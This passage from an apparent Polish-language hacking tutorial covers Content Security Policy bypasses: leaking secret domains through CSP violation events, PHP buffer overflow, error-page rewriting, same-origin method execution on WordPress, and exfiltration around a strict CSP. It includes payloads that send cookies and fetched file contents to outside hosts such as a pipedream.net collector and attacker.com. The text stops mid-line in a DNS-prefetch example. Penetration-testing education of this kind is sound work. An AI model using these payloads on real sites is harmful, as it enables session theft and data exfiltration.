  • Tworzony jest element iframe, który wskazuje na adres URL (nazwijmy go https://example.redirect.com), który jest zezwolony przez CSP.

  • Następnie ten adres URL przekierowuje do tajnego adresu URL (np. https://usersecret.example2.com), który nie jest dozwolony przez CSP.

  • Słuchając zdarzenia securitypolicyviolation, można przechwycić właściwość blockedURI. Ta właściwość ujawnia domenę zablokowanego adresu URL, ujawniając tajną domenę, do której przekierowano początkowy adres URL.

Warto zauważyć, że przeglądarki takie jak Chrome i Firefox mają różne zachowania w obsłudze ramek iframe w kontekście CSP, co prowadzi do potencjalnego wycieku wrażliwych informacji z powodu niezdefiniowanego zachowania.

Inną techniką jest wykorzystanie samego CSP do wydedukowania tajnej subdomeny. Ta metoda polega na algorytmie wyszukiwania binarnego i dostosowaniu CSP, aby zawierał określone domeny, które są celowo blokowane. Na przykład, jeśli tajna subdomena składa się z nieznanych znaków, można iteracyjnie testować różne subdomeny, modyfikując dyrektywę CSP, aby blokować lub zezwalać na te subdomeny. Oto fragment pokazujący, jak można skonfigurować CSP, aby ułatwić tę metodę:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Monitorując, które żądania są blokowane lub zezwala na nie CSP, można zawęzić możliwe znaki w sekretnym subdomenie, ostatecznie ujawniając pełny adres URL.

Obie metody wykorzystują niuanse implementacji i zachowania CSP w przeglądarkach, demonstrując, jak pozornie bezpieczne polityki mogą nieumyślnie ujawnić wrażliwe informacje.

Sztuczka z tutaj.

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Spojrzenie na Hacking Zajmij się treściami, które zagłębiają się w emocje i wyzwania hackowania

Aktualności na Żywo o Hackingu Bądź na bieżąco z szybkim światem hackowania dzięki aktualnościom i spojrzeniom na żywo

Najnowsze Ogłoszenia Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy

Dołącz do nas na Discord i zacznij współpracować z najlepszymi hakerami już dziś!

Niebezpieczne Technologie do Ominania CSP

Przeładowanie bufora odpowiedzi PHP

PHP jest znany z buforowania odpowiedzi do 4096 bajtów domyślnie. Dlatego, jeśli PHP wyświetla ostrzeżenie, dostarczając wystarczająco danych w ostrzeżeniach, odpowiedź zostanie wysłana przed nagłówkiem CSP, powodując zignorowanie nagłówka. Następnie technika polega głównie na wypełnieniu bufora odpowiedzi ostrzeżeniami, aby nagłówek CSP nie został wysłany.

Pomysł z tego writeup.

Przepisanie Strony Błędu

Z tego writeup wynika, że było możliwe ominięcie ochrony CSP poprzez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej zawartości.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME to technika, która nadużywa XSS (lub bardzo ograniczonego XSS) w punkcie końcowym strony do nadużycia innych punktów końcowych tego samego pochodzenia. Polega to na załadowaniu podatnego punktu końcowego z strony atakującej, a następnie odświeżeniu strony atakującej do rzeczywistego punktu końcowego w tym samym pochodzeniu, który chcesz nadużyć. W ten sposób podatny punkt końcowy może użyć obiektu opener w ładunku do uzyskania dostępu do DOM rzeczywistego punktu końcowego do nadużycia. Aby uzyskać więcej informacji, sprawdź:

pageSOME - Same Origin Method Execution

Co więcej, wordpress ma punkt końcowy JSONP w /wp-json/wp/v2/users/1?_jsonp=data, który odzwierciedla dane przesłane w wyniku (z ograniczeniem tylko liter, cyfr i kropek).

Atakujący może nadużyć tego punktu końcowego, aby wykonać atak SOME na WordPressie i osadzić go wewnątrz <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>, zauważ, że ten skrypt zostanie załadowany, ponieważ jest dozwolony przez 'self'. Co więcej, ponieważ WordPress jest zainstalowany, atakujący może nadużyć ataku SOME poprzez podatny punkt końcowy wywołania zwrotnego, który omija CSP, aby nadać więcej uprawnień użytkownikowi, zainstalować nowy dodatek... Aby uzyskać więcej informacji na temat wykonania tego ataku, sprawdź https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Ominięcia eksfiltracji CSP

Jeśli istnieje surowa CSP, która nie pozwala ci interagować z zewnętrznymi serwerami, zawsze istnieją pewne rzeczy, które możesz zrobić, aby eksfiltrować informacje.

Lokalizacja

Możesz po prostu zaktualizować lokalizację, aby przesłać na serwer atakującego tajne informacje:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

Możesz przekierować poprzez wstrzyknięcie tagu meta (to jest tylko przekierowanie, nie ujawni to zawartości)

<meta http-equiv="refresh" content="1; http://attacker.com">

Prefetch DNS

Aby szybciej ładować strony, przeglądarki będą wstępnie rozwiązywać nazwy hostów na adresy IP i buforować je do późniejszego użycia. Możesz wskazać przeglądarce, aby wstępnie rozwiązała nazwę hosta za pomocą: <link rel="dns-prefetch" href="something.com">

Możesz nadużyć tego zachowania do wycieku wrażliwych informacji za pomocą żądań DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body'